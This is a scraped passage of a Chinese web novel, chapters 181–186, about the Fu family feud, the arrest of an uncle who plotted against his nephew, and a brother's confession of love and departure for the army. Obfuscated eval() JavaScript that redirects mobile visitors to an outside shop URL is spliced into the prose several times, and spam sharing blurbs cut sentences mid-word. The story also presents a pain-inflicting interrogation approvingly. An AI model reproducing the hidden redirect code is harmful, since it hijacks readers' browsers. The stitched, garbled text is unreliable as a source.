他像是被抽走了所有骨头,瘫在地上,涕泪横流:“傅总……傅总我错了!是……是傅承平!是傅承平让**的!照片是他找人合成的!主意也是他出的!他说只要搞垮你,拿到明嫣的把柄,他就能翻身……他答应事成后分我傅家的产业……” 他语无伦次,把傅承平卖了个干干净净。 陆凛猛地看向傅修沉,眼神复杂。 傅修沉脸上没什么表情,只是居高临下地看着陈放,如同在看一只蝼蚁。 “还有呢?”他问,声音平静,却带着无形的压力,“我岳父坠楼,跟你,跟傅承平,有没有关系?” “没有!真的没有!”陈放拼命摇头,“明叔坠楼是个意外!是意外!傅承平只是顺势利用了这个机会!他让我拿着照片去找明嫣,挑拨你们的关系……他说……他说只要你们内讧,他就有机会……” 傅修沉静静听着,眸色深沉难辨。 “意外?”他重复这两个字,薄唇扯出冰冷的弧度,“你觉得我会信?” 他弯腰,捡起陈放掉在地上的手机。 屏幕碎裂,但还能用。 傅修沉指尖在屏幕上快速滑动,陈放想要阻止,却被保镖死死按住。 “不……你不能……” 第182章 彻底清算! “不……你不能……”陈放嘶哑地喊眼底布满惊恐。 傅修沉根本不理会拽过他的手指解锁手机应声打开。 里面不止一张照片。 他指尖停顿调出了手机相册的原始数据流专业的恢复界面快速滚动。 傅修沉的目光精准地锁定在几张被刻意隐藏的原始文件上。 那不是AI合成图而是连拍的不同角度的真实照片! 虽然像素依旧不高拍摄距离也远 陈放当时真的在现场! 明嫣凑近看了一眼倒抽一口冷气心脏像是被一只无形的手狠狠攥住疼得她眼前发黑。 虽然早有心理准备父亲坠楼并非简单的**或者什么意外但如今确认当时还有第三个人在现场依旧让她难以承受。 傅修沉的手臂瞬间收紧稳稳地扶住了她微晃的身体。 他没有看她目光依旧钉在手机屏幕上但那周身散发出的戾气却骤然暴涨。 陆凛也看到了那些照片他瞳孔骤缩猛地扭头看向地上如烂泥般的陈放眼底是毫不掩饰的杀意:“这照片是你拍的?你当时也在现场对不对?明伯父是你推下去的!” 陈放面如死灰浑身抖得像筛糠语无伦次:“不……不是……不是我……” “不是你?”傅修沉终于缓缓抬眸看向陈放。 那眼神平静得可怕。 没有暴怒没有歇斯底里只有一种深不见底的近乎漠然的冰冷。 可越是这样的平静越让人从心底里感到恐惧。 他慢慢蹲下身与瘫在地上的陈放平视。 巷口残破的灯光落在他侧脸上一半明亮一半隐在阴影中眼尾那颗朱砂痣红得妖异如同染血。 “我有个问题一直想不明白。”傅修沉开口声音很轻却让陈放瞬间汗**倒竖“你说人的身体从那种高度坠落要承受多大的冲击力?内脏会碎成什么样子?骨头……又会断成多少截?” 他伸出手没有碰陈放只是虚虚地悬在他的胸口上方修长的手指骨节分明在昏暗光线下泛着冷玉般的光泽。 “明伯父断了四根肋骨脾脏破裂……”傅修沉微微偏头“你说他当时疼吗?” 陈放惊恐地瞪大眼睛拼命向后缩却被身后的保镖死死按住。 傅修沉的手指轻轻落在了陈放左胸下方那是脾脏的位置 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。 他的动作看起来轻柔无比,甚至带着点医生检查般的专注。 “是这里吗? 陈放猛地点头,又疯狂摇头,喉咙里发出“嗬嗬的怪响。 下一秒,傅修沉的指尖,以一种极其刁钻且精准的角度,猛地一按! “呃啊——!!! 陈放爆发出完全不似人声的凄厉惨叫,整个人像一只被扔进油锅的虾米,剧烈地弓起了身体,眼球暴凸,额头上青筋虬结,冷汗瞬间浸透了衣服。 那是一种无法形容的剧痛,并非尖锐的刺疼,仿佛内脏被一只无形的手狠狠攥住、挤压、碾磨的钝痛! 痛得他连呼吸都停滞,眼前阵阵发黑! 傅修沉的手指并没有离开,甚至没有用力捅刺,只是维持着那个按压的姿势,指尖感受着皮下组织的微弱震颤和痉挛。 他低头看着陈放因极致痛苦而扭曲的脸,眼神依旧平静无波。 “看来是这里。他淡淡地陈述,仿佛在确认一个无关紧要的事实。 明嫣别开了眼。 她知道傅修沉的手段,知道他绝非表面上那般光风霁月,但亲眼见到这不留痕迹却足以让人疼到崩溃的逼供,依旧让她心悸。 可一想到父亲躺在ICU里毫无生气的样子,那点心悸便化为了冰冷的恨意。 陆凛站在一旁,双手插在裤袋里,下颌线绷得紧紧的。 他看着傅修沉,眼神复杂。 他这位大哥,狠起来,是真的能让人求生不得,求死不能。 傅修沉缓缓收回手。 陈放像一滩烂泥般瘫在地上,大口大口地喘着粗气,仿佛刚从水里捞出来,浑身湿透,只剩下出的气没有进的气。 “现在,可以说了吗?傅修沉的声音依旧没什么起伏,“从头开始,一个字不漏。 他的语气很平淡,却带着令人胆寒的威压。 陈放彻底崩溃了。 生理上极致的痛苦和心理上巨大的恐惧,摧毁了他最后一丝侥幸。 他涕泪横流,断断续续地开始交代: “是……是傅承平……他找到我,说……说可以帮我报复你们…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777677|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道我恨你们……恨傅修沉,恨明燃…… “他让我去找明叔,编造当年你……你的那些谣言……我没想到明叔竟然喊你来当面对质……等你走后,他便扇了我一巴掌,还说要报警…… 陈放的声音充满了恐惧和后悔:“我……我慌了,想抢他手机……他骂我是畜生,还 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 推我……我,我一时冲动,就……就反手推了他一把……我没想让他掉下去的!我真的没想!是他自己没站稳……” 他痛哭流涕,语无伦次地重复着“我没想杀他”。 傅修沉静静地听着,脸上没有任何表情,直到陈放说完,他才缓缓站起身,居高临下地看着他,如同在看一堆肮脏的垃圾。 “行了,带下去吧……”傅修沉的声音冰冷,“送去警局之前好好‘伺候’他!” “是,傅总。” 陈放还想求饶,却被保镖捂着嘴强行拖了下去,很快,巷子里就只剩下他们三人。 傅修沉走到明嫣身边,自然地牵起她冰冷的手,包裹在掌心。 “走,我们去老宅。” 是时候该彻底清算了。 …… 而此时的傅家老宅,一派灯火通明。 客厅里,傅老爷子端坐主位,脸色阴沉,傅老夫人坐在一旁,手里捻着佛珠。 而傅承慧惴惴不安地缩在角落。 傅承平则是坐在轮椅上,脸上还强装镇定,但微微颤抖的手指泄露了他内心的恐慌。 陈放那边,彻底断了消息。 电话不通,信息不回,派去盯梢的人回报,那陋巷早已人去楼空…… 失败了。 傅修沉果然是在伪装! 这竟然是他和明嫣联手做的局! 甚至……可能连陈放这个棋子已经暴露,都在他们算计之内! 一股寒意从尾椎骨窜起。 但他不能坐以待毙。 幸好,他还有第二套方案。 他深吸一口气,浑浊的眼底闪过一丝狠绝。 就算陈放折了,他也要咬下傅修沉一块肉! 还有陆凛……那个小狼崽子,既然不能为他所用,那就一起拖下水! 第183章 你喜欢你大嫂!对不对?! 当傅修沉牵着明嫣的手,带着一身寒气走进来时,所有人的目光都聚焦在他们身上。 陆凛跟在后面,双手插兜,脸色阴沉。 现如今的傅家,傅修沉是绝对的话事人,傅老爷子已经退居二线,颐养天年。 傅修沉一句‘有话要说’,就把所有**半夜的都召集到了老宅。 “修沉,这……这大晚上的,出什么事了?”傅老爷子的眼眸浑浊却锐利,嗓音沉哑地率先开口问道。 他心中已有猜测,但仍需要亲耳证实。 傅修沉没说话,只微微侧头,跟在他身后的两名穿着黑色西装的保镖立刻上前,将一份文件和一个手机恭敬地放在傅老爷子面前的茶几上。 “爷爷,”傅修沉开口,嗓音低沉,没什么情绪,“人赃并获。陈放已经全部招了,包括他是如何受二叔指使,合成照片,挑拨离间,以及……将明伯父推下天台后栽赃到我身上。” “轰——!” 尽管早有心理准备,但所有人还是被傅修沉的话惊得变了脸色! “你胡说!”傅承平猛地从轮椅上试图站起,却因腿伤又重重跌坐回去,轮椅发出刺耳的摩擦声。 他指着傅修沉,声音尖利变形,“傅修沉!你血口喷人!陈放呢?让他出来跟我对质!你把他弄到哪里去了?!你这是栽赃陷害!” “对质?”傅修沉唇角勾起一抹极淡的冰冷弧度,那笑意未达眼底,“二叔,陈放现在应该在警局做笔录。人证,物证,” 他目光扫过茶几上的手机,“包括他亲口承认的录音,都很齐全。你买通他合成照片,散播谣言的资金往来,也在这里。”他指尖点了点那份文件。 傅承平浑身剧烈一颤,血液仿佛瞬间冻结。 他没想到傅修沉动作这么快,这么狠! 连资金流向都查到了! “不……不是这样的!爸!你们别信他!” 傅承平彻底慌了神,“是傅修沉!是他害了明庭峰,现在想嫁祸给我!他想独吞傅家!他想把我赶尽杀绝!是他血口喷人……” “是不是血口喷人,二叔心里清楚。”傅修沉冷声打断他,声音不大,却带着慑人的威压,“警方已经在来的路上了。故意**教唆,商业欺诈,够你在里面待一辈子。” 傅承平脸色瞬间惨白如纸,他猛地看向傅老爷子,声音凄厉:“爸!您不能信他们!他们是合起伙来要搞死我!就因为我现在残了,没用了,他们就要把我踢出局!” 傅老夫人也急了 你的朋友正在书荒,快去帮帮他吧 ,抓着老爷子的胳膊:“老头子,承平是你亲儿子啊!你怎么能眼睁睁看着他……” “亲儿子?”傅老爷子猛地甩开她的手,胸口剧烈起伏,指着傅承平,痛心疾首,“我傅家没有这种心肠歹毒、构陷侄子的畜生!” 他看向傅承平的眼神,充满了失望和决绝:“你大哥承业走得早,我念着这份情,对你多有纵容!可你呢?你是怎么回报我的?算计修沉,对明家下手,现在连**害命的事情都做得出来!傅家留不得你!” 傅承平被老爷子吼得浑身一哆嗦,看着父亲眼中那毫不掩饰的震怒和厌弃,他知道,父亲信了傅修沉,不会再保他了。 一股穷途末路的疯狂骤然涌上心头。 他猛地转动轮椅,视线在客厅里扫过。 “好啊……你们都好!联合起来搞我是吧?”他声音嘶哑,带着破罐子破摔的狠绝,“傅修沉,你以为你就干净吗?你以为你赢定了吗?” 他猛地抬起手,食指直直指向陆凛,声音拔高,尖利刺耳:“还有你!陆凛!你个吃里扒外的东西!你装什么清白?!你以为你站在他们那边,你那些龌龊心思就能瞒得住吗?!” 陆凛猛地抬头,黑沉的眸子瞬间锐利如鹰隼,周身戾气暴涨,下颌线绷得像一块冷硬的石头。 他插在口袋里的手死死攥紧,指甲深陷进掌心。 傅承平看着他这副样子,笑得更加畅快和恶毒,每一个字都像是淬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777678|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒的**,狠狠捅向陆凛最隐秘的软肋: “你喜欢你大嫂!你喜欢明嫣!对不对?!**早就对你未来嫂子动了不该动的心思!你跟我合作的时候怎么说的?你说只要能得到明嫣,你什么都愿意做!现在装什么正人君子?!” “轰——!” 整个世界仿佛在陆凛耳边炸开。 所有的声音都消失了,血液疯狂地冲上头顶,又在瞬间褪得干干净净,留下冰冷的麻木和灭顶的恐慌。 他能清晰地听到自己心脏疯狂擂鼓的声音,撞得胸腔生疼,耳膜嗡嗡作响。 他几乎不敢呼吸,僵硬的脖颈像是生了锈,一点一点,极其缓慢地,转向那个方向—— 明嫣就站在傅修沉身边,微微睁大了眼睛,脸上带着清晰的错愕和难以置信,正看着他。 那双清澈的眸子里,倒映出他此刻狼狈而惊慌的影子。 四目相对的瞬间,陆凛只觉得浑身的血液都凝固了。 他一直小心翼翼藏在最深处的那点卑劣的秘密,被他最不想让其知道的人,以这样一种不堪的方式,赤裸裸地摊开在了光天化日之下。 难堪,恐慌,还有一丝被揭穿后的绝望,如同冰冷的潮水,瞬间将他淹没。 他张了张嘴,喉咙干涩得发不出任何声音,想反驳,想否认,可在那双清澈眼睛的注视下,所有狡辩的话语都卡在了喉咙里,显得那么苍白无力。 傅修沉站在明嫣身侧,在傅承平吼出那句话的瞬间,他揽在明嫣腰间的手臂几不可察地收紧了一分。 他侧眸,目光极深地看了陆凛一眼,那眼神复杂难辨。 “二哥你是疯了吗?”傅承慧猛地从角落里跳起来,尖声叫道,“你胡说什么!阿凛他怎么可能喜欢明嫣,那是他大哥的未婚妻……” “我胡说?”傅承平一把推开傅承慧,眼神疯狂地扫过众人,最后死死盯着陆凛,“陆凛!你敢发誓你对明嫣没有一点非分之想?!傅修沉,你睁大眼睛看看!你护着的这个好弟弟到底是个什么货色!” 第184章 这是要把他支走 “够了。” 傅修沉终于开口声音不高却像带着千钧重量瞬间压下了傅承平所有的嘶吼。 他没有看陆凛目光落在状若疯癫的傅承平身上眼神冰冷得像是在看一个**。 “二叔垂死挣扎很难看。” 他语气平淡甚至带着一丝极淡的嘲弄“你的罪名一桩桩一件件证据确凿。扯这些无关紧要的改变不了任何结果。” “无关紧要?” 傅承平像是听到了天大的笑话癫狂地大笑起来笑得眼泪都出来了“哈哈哈……傅修沉 “砰!” 客厅的门被从外面推开打断了傅承平的话。 几名穿着制服的警察走了进来为首的一人亮出证件神色严肃:“傅承平先生我们接到报案并掌握确凿证据证实你涉嫌教唆诽谤、商业欺诈以及与一宗故意**案有关请跟我们回局里接受调查。” 警察的出现像是一盆冰水兜头浇灭了傅承平最后的气焰。 他脸上的疯狂瞬间凝固转为极致的恐惧身体控制不住地颤抖起来嘴唇哆嗦着想要说什么却只能发出“嗬嗬”的破风声。 “不……我不去……爸!妈!救我!救我啊!”他像抓住救命稻草一样看向傅老爷子和傅老夫人涕泪横流哪还有半分刚才的嚣张。 傅老爷子闭上眼重重地叹了口气仿佛一瞬间苍老了十岁挥了挥手疲惫不堪:“带走吧。” “承平!我的儿啊!”傅老夫人猛地扑过去死死抱住傅承平的轮椅哭天抢地“不能带他走!你们不能带他走!他是被冤枉的!” 她猛地扭头布满血丝的眼睛怨毒地瞪向傅修沉尖利的指甲几乎要戳到他脸上:“傅修沉!你这个孽障!畜生!你连亲叔叔都不放过!你会遭报应的!你不得好死!” 傅修沉面无表情地看着她眼神没有一丝波澜。 傅老爷子听得额头青筋直跳猛地一拍桌子站起身指着傅老夫人厉声喝道:“你给我住口!看看你养的好儿子!心思歹毒手段下作连**害命的事情都做得出来!都是你!从小到大一味溺爱纵容才把他惯成今天这副无法无天的样子!傅家的脸都被他丢尽了!你还有脸在这里闹?!” 傅老夫人被吼得浑身一颤难以置信地看着傅老爷子看着他眼中毫不掩饰的厌弃和指责心瞬间沉到了底冷成了冰。 她停止了哭嚎缓缓地松开抱 听说看这本书的人都是很幸运的,分享后你的运气会更棒 着傅承平的手,慢慢地站起身。 她死死地盯着傅老爷子,那眼神,不再有往日的依赖和情分,只剩下全然的绝望和…… 一丝不易察觉的怨毒。 傅老爷子被她那眼神看得心头一寒,但盛怒之下,也无心再去理会。 他疲惫地闭上眼,挥了挥手,对警察道:“带走吧。” 警察不再犹豫,上前强行将傅承平从轮椅上架了起来。 “不……不……我不能坐牢……爸!妈!救我!”傅承平彻底崩溃了,涕泪横流,挣扎着想从轮椅上爬下来,去抓傅老爷子的裤脚。 可却被警察抢先架住胳膊就这么强硬地拖了出去。 “妈!妈……救我……” 那声音凄厉,刮擦着傅老夫人的耳膜。 可她却没动。 她就那么站着,看着儿子像条死狗一样被拖出客厅,消失在门外的夜色里。 她扯了扯嘴角,像是想笑,又像是自嘲。 “傅正擎,”她叫了傅老爷子的全名,声音不高,却清晰地钻进每个人的耳朵,“这么多年,原来在你心里,我们母子……就是这样的存在。” 傅老爷子被她这眼神和语气慑住,一时竟忘了反应。 傅老夫人却没等他的回答,也无视了旁边傅承慧惊恐的眼神。 她挺直脊背,一步一步朝着楼梯走去。 背影决绝,没有回头。 客厅里死寂一片。 傅修沉面无表情地看着这一幕,眼底没有任何波澜。 他揽着明嫣的手臂微微用力,低声道:“我们回去。” 明嫣下意识地看了一眼僵立在原地的陆凛,嘴唇动了动,最终什么也没说,任由傅修沉带着她离开。 经过陆凛身边时,傅修沉的脚步没有丝毫停顿。 …… 翌日,傅氏集团顶楼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777679|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆凛一夜未眠,眼底布满红血丝,下巴上冒出了青黑的胡茬。 他坐在办公桌后,面前摊着文件,却一个字也看不进去。 办公室的门被敲响。 “进。”他声音沙哑。 傅修沉推门走了进来。 他穿着熨帖的黑色西装,身形挺拔,除了眉眼间有一丝不易察觉的疲惫,看不出任何异样,仿佛昨夜老宅那场闹剧,并未在他身上留下痕迹。 他在陆凛对面的椅子上坐下,长腿交叠,目光平静地落在陆凛脸上。 “有个项目,”傅修沉开口,语气清冷,听不出情绪,“北 你的朋友正在书荒,快去帮帮他吧 欧那边,收购了一家新能源实验室,技术前景不错,但整合难度大,需要信得过的人过去盯着。” 他顿了顿,递过一份文件,“你去吧。” 陆凛看着那份文件,没有接。 他抬起眼,对上傅修沉深邃的眼眸。 那里面太平静了,平静得像一潭深不见底的水,让他摸不清底下是暗流汹涌,还是真的波澜不惊。 他扯了扯嘴角,露出一抹自嘲的弧度。 这是要把他支走。 因为昨天傅承平那些话? 因为他那点见不得光的心思? 他觉得胸口堵得厉害,一股混合着**不甘和某种破罐子破摔的躁郁冲撞着。 “行啊。”他听见自己说,声音干涩,“什么时候走?” “尽快。”傅修沉言简意赅,“那边团队已经组建好了,你过去负责总体协调,权限我会给你开最高。” “嗯。”陆凛应了一声,伸手拿过那份文件,指尖碰到冰凉的纸张,心里也跟着一凉。 他低下头,胡乱地翻看着,其实一个字也没看进去。 办公室内陷入一种令人窒息的沉默,只有纸张翻动的沙沙声。 傅修沉看着他,看着他紧绷的下颌线和眼下浓重的青黑,眸色微深,但终究什么也没说。 他站起身,准备离开。 就在他手指碰到门把手的瞬间—— “哥。” 第185章 兄弟反目! “哥。陆凛的声音突然从身后传来。 傅修沉动作顿住,没有回头。 陆凛依旧低着头,看着手里的文件,喉结剧烈地滚动了一下,“对她好点儿。 话音落下的瞬间,办公室内的空气仿佛骤然降至冰点。 傅修沉握着门把手的手指猛地收紧,指节泛出青白色。 他缓缓转过身。 “你,说什么?他的声音不高,却像是裹挟着冰碴,每一个字都砸在陆凛的耳膜上。 陆凛抬起头,迎上他的目光。 既然已经撕开了口子,那点破罐子破摔的狠劲反而涌了上来。 他扯出一个带着痞气和挑衅的笑,重复了一遍,一字一顿:“我说,对、她、好、点、儿。 “砰! 回应他的,是傅修沉猛地一脚踹在门上的巨响! 厚重的实木门板发出不堪重负的呻吟。 下一秒,傅修沉几步跨到办公桌前,一把揪住陆凛的衣领,将他从椅子上猛地拽了起来! 陆凛被他拽得一个趔趄,办公椅向后滑开,撞在书架上,发出哐当一声。 他没反抗,只是看着傅修沉阴沉得能滴出水来的脸,看着他眼底那翻涌的戾气。 “陆凛,傅修沉的声音压得极低,“你找死吗? 陆凛舔了舔有些干裂的嘴唇,眼底是同样的猩红和不管不顾。 “是啊…… 话音未落,傅修沉的拳头已经裹挟着凌厉的风声,狠狠砸在了陆凛的下颌上! 这一拳又快又重,没有半分留力。 陆凛闷哼一声,头被打得偏向一边,嘴角瞬间破裂,渗出血丝,腥甜的铁锈味在口腔里弥漫开。 他用手背蹭了一下嘴角,看到那抹刺眼的红,反而低低地笑了起来。 他转回头,顶着迅速红肿起来的嘴角和颧骨,看向傅修沉,眼神里是同样凶狠的戾气和不驯。 无数个日日夜夜里,他彷徨过挣扎过,其中的煎熬折磨只有他自己一个知道。 因为这一拳能少愧疚些,他求之不得。 “打得好。他啐了一口带血的唾沫,舌尖抵了抵发麻的腮帮,声音沙哑,“这一拳,我受了。 他猛地抬手,攥住傅修沉揪着自己衣领的手腕,力道大得惊人,“但是你听好了,从今往后,我陆凛,不欠你的了。 他一字一句,像是宣誓,又像是**: “你最好,好好待她。 “否则,他盯着傅 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 修沉的眼睛,毫不退缩,每一个字都像是从齿缝里碾磨出来,“下次,我不会再手下留情。 兄弟二人,鼻尖几乎相抵,视线在空中激烈碰撞,周身都散发着冰冷骇人的气息。 空气凝固,剑拔**张。 傅修沉看着陆凛眼底那毫不掩饰的执拗和疯狂,看着他嘴角刺目的血迹,胸口那股暴戾的怒火如同岩浆般灼烧。 他知道,陆凛是认真的。 那些被他刻意忽略,或者说潜意识里不愿深想的苗头,在这一刻,以这种方式摆在了台面上。 傅修沉整理了一下被扯乱的领带和西装,眼神恢复了一贯的清冷冽厉。 他没再看陆凛,转身,迈着沉稳的步伐,走向门口。 手握住门把手时,他脚步未停,只留下一句冰冷的话,“下周一,我要在机场看到你。 门“咔哒一声轻响,关上。 办公室里只剩下陆凛一个人。 他靠着狼藉的书柜,缓缓滑坐在地。 额角的伤口渗出血,混着嘴角的淤青,狼狈不堪。 他抬手捂住眼睛,指缝间,有水光隐约闪动,很快又被粗暴地擦去。 他仰起头,看着天花板上刺眼的水晶吊灯,扯了扯嘴角。 也好。 这样,也好。 以后不必再偷偷摸摸了。 既然一切都摊开来了。 那他也想争上一争。 哪怕最后输了,也总比窝窝囊囊地活。 他这辈子恣意潇洒惯了,对明嫣动心的这段时间是他最挣扎煎熬的…… 现在,倒是可以放手一搏了。 …… 傅家老宅的书房,厚重的紫檀木门紧闭。 往常陆凛过来,人还没进院,老爷子爽朗的笑声就能透出来。 可今天,宅子里静得吓人,佣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777680|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们远远绕着走,连大气都不敢喘。 书房里,气压低得能拧出水。 傅老爷子没坐在惯常的太师椅上,他站着,背对着门口,望着窗外沉沉的夜色。 手里那根盘了多年的龙纹紫檀木拐杖,此刻被他攥得死紧,手背上虬结的青筋突突直跳。 陆凛就跪在他身后。 那头惹眼的金发染回了黑色,利落短发下,额角贴着纱布,嘴角还带着新鲜的青紫淤痕。 他背脊挺得笔直,膝盖砸在冰冷的地板上,发出沉闷的声响,就没再弯下去。 “再说一遍。傅老爷子的声音像是从喉咙深处碾出来 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,带着压抑到极致的风暴。 陆凛抬眼,目光里没了平日那点混不吝的痞气,只剩下沉沉的、破釜沉舟的决绝。 “我要从军。” “砰!” 傅老爷子猛地转身,手中的拐杖带着风声,狠狠砸在陆凛身边的地板上! 厚实的地毯都被砸出一个凹坑,发出令人心惊的闷响。 那上好的紫檀木,竟生生裂开了一道细纹。 “从军?!”老爷子胸口剧烈起伏,盯着他,眼神像淬了火的刀子,“你当傅家是什么?啊?是你想来就来,想走就走的游乐场?!你大哥刚把傅氏交给你一部分,你就是这么回报他的?!就是这么回报傅家的?!” 陆凛硬生生受着这雷霆之怒,下颌线绷得像块冷硬的石头,咬肌微微抽动。 “傅氏有大哥就够了。”他声音沙哑,却异常清晰,“多我一个不多。” “放屁!”傅老爷子气得手都在抖,指着他,“你以为傅家如今的局面是怎么来的?是靠着一个人就能撑起来的?!你大哥在前面顶着,你在后面拆台?!陆凛,我真是看错你了!原以为你收了心,能成器,没想到你还是这副德行!为了个女人,连家业都不要了?!” “女人”两个字像针,狠狠扎进陆凛的耳膜。 他眼底瞬间翻涌起骇人的红血丝,猛地抬起头,直视着老爷子,那眼神又野又戾,带着被彻底戳破心事的狼狈和一种不管不顾的疯狂。 “跟她没关系!” 第186章 陆凛**! “没关系?” 傅老爷子冷笑,一步步逼近,浑浊却锐利的眼睛死死钉在他脸上,“那你告诉我,是因为什么?啊?昨天傅承平那些话,是放屁吗?!你真对你大嫂——” “我没有!”陆凛嘶声打断,脖颈上青筋暴起,声音因为激动而扭曲,“我陆凛再混,也知道什么叫底线!” “底线?”老爷子嗤笑,拐杖重重杵地,“你的底线就是撂挑子不干,跑去那**不吐骨头的地方找死?!” “那不是找死。”陆凛迎着他的目光,分毫不让,“那是出路。” “出路?”傅老爷子像是听到了天大的笑话,笑声却冷得结冰,“傅家给你的路不够宽?!啊?钱权在手,多少人求都求不来的富贵,你管这叫没出路?!” “钱权?”陆凛扯了扯破裂的嘴角,那弧度带着浓浓的自嘲和一丝桀骜,“爷爷,傅家的钱,买得到沪上的半壁江山,买得到别人的俯首帖耳,可买得到真正的自由吗?” 他目光锐利,像突然出鞘的剑,直刺核心:“大哥手段再狠,能力再强,跃华生物前景再好,在某些规则面前,不也得低头?上次**案,幕后的人查清楚了吗?动了吗?明家这次遭难,背后伸过来的手,剁掉了吗?” 傅老爷子脸色骤变,握着拐杖的手指收紧,竟一时语塞。 陆凛看着他,眼神沉静得可怕,那里面不再是一个叛逆少年的冲动,而是一种近乎冷酷的清醒。 “钱对我们这种人来说,早就不是最重要的了。”他一字一顿,“我要话语权。” 话语权。 不是商业上的决策权,不是家族里的掌控权。 是能真正制定规则、碾压规则、让所有魑魅魍魉不敢伸手的绝对力量。 老爷子心头巨震,看着跪在眼前的孙子。 他明明跪着,背脊却挺得像一杆随时要刺破苍穹的标枪。 那股沉沉的、带着血腥气的野心,几乎要冲破书房压抑的空气。 他这才惊觉,这个从小总是一身反骨的外孙,不知何时已经脱胎换骨。 他不再是那个只会用拳头解决问题的混世魔王,他眼里燃烧的,是不加掩饰,更不计后果的掠夺欲。 “你……”老爷子喉咙发干,“你知道那条路有多难?那是要用命去填的!” “我知道。”陆凛回答得没有一丝犹豫,“所以我更要走。” 他看着老爷子,眼神像燃着幽暗的火:“傅家这盘棋,大哥下得稳,我能冲得凶。他在商,我从军。一 听说看这本书的人都是很幸运的,分享后你的运气会更棒 明一暗,相辅相成。这才是对傅家最好的路。” 老爷子沉默下去,书房里只剩下两人粗重的呼吸声。 他看着陆凛额角的伤,嘴角的淤青,还有那双眼睛里不容置疑的决绝。 他知道,拦不住了。 这小子骨子里流的血,比傅家任何人都要野,都要烫。 跟他那个父亲一模一样…… “你想好了?”良久,老爷子沉沉开口,声音里带着一丝不易察觉的疲惫和……妥协。 陆凛扯了扯嘴角,那笑容带着点痞,又带着点冷:“我来您书房这条路前,连行李都打包好了。” 意思再明白不过。 他若有一丝犹豫,根本不会踏进这里。 老爷子重重闭了闭眼,再睁开时,眼底只剩下锐利的审视:“你要什么?” 陆凛舔了舔干裂的嘴唇,尝到一丝血腥味。 “我在傅氏这段时间,经手过的项目,能动用的资源,所有权限,今天之内我会全部交接清楚,不留一分一毫。” 他语速平稳,显然早已想好,“我名下那些车、房子、还有外面那些乱七八糟的投资,大部分本来也是傅家给的,您收回便是。” 老爷子冷笑:“就这些?你以为我缺你这点东西?” “当然不止。”陆凛抬眼,黑沉的眸子像不见底的寒潭,“我在城外弄的那个训练场,里面有些人,是我自己挑的,跟我走。另外,我需要一个干干净净的出身,傅家这边,得帮我抹平。” 他要彻底割裂与傅氏明面上的一切联系,以一个清白的的背景踏入那个领域。 老爷子盯着他,仿佛要将他从里到外看穿。 “陆凛,你这是在跟我做交易?” “是。”陆凛答得干脆,“用我放弃的一切,换一个机会。” “什么机会?” “五年。”陆凛吐出两个字,眼神像淬了火的钢,“给我五年时间。五年后,我若还能站着回来,傅家内外,我要一半话语权。” 不是请求,是宣告。 他的野心赤裸裸地摊开在老爷子面前,不仅要军中的权,还要回来分傅家的羹! 书房里死寂一片。 老爷子看着他,看着这个浑身是伤却眼神灼亮如同孤狼的孙子,心头五味杂陈。 有震怒,有担忧,更有一种被这滔天野心激起的寒意和……一丝微弱的期待。 傅氏集团集团需要陆凛那样的破局者,傅家,或许也需要陆凛这把开疆拓土的凶刃。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “滚吧。” 许久,老爷子疲惫地挥了挥手,背影佝偻了几分,“手续我会让人去办。记住你今天说的话。” 陆凛重重磕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 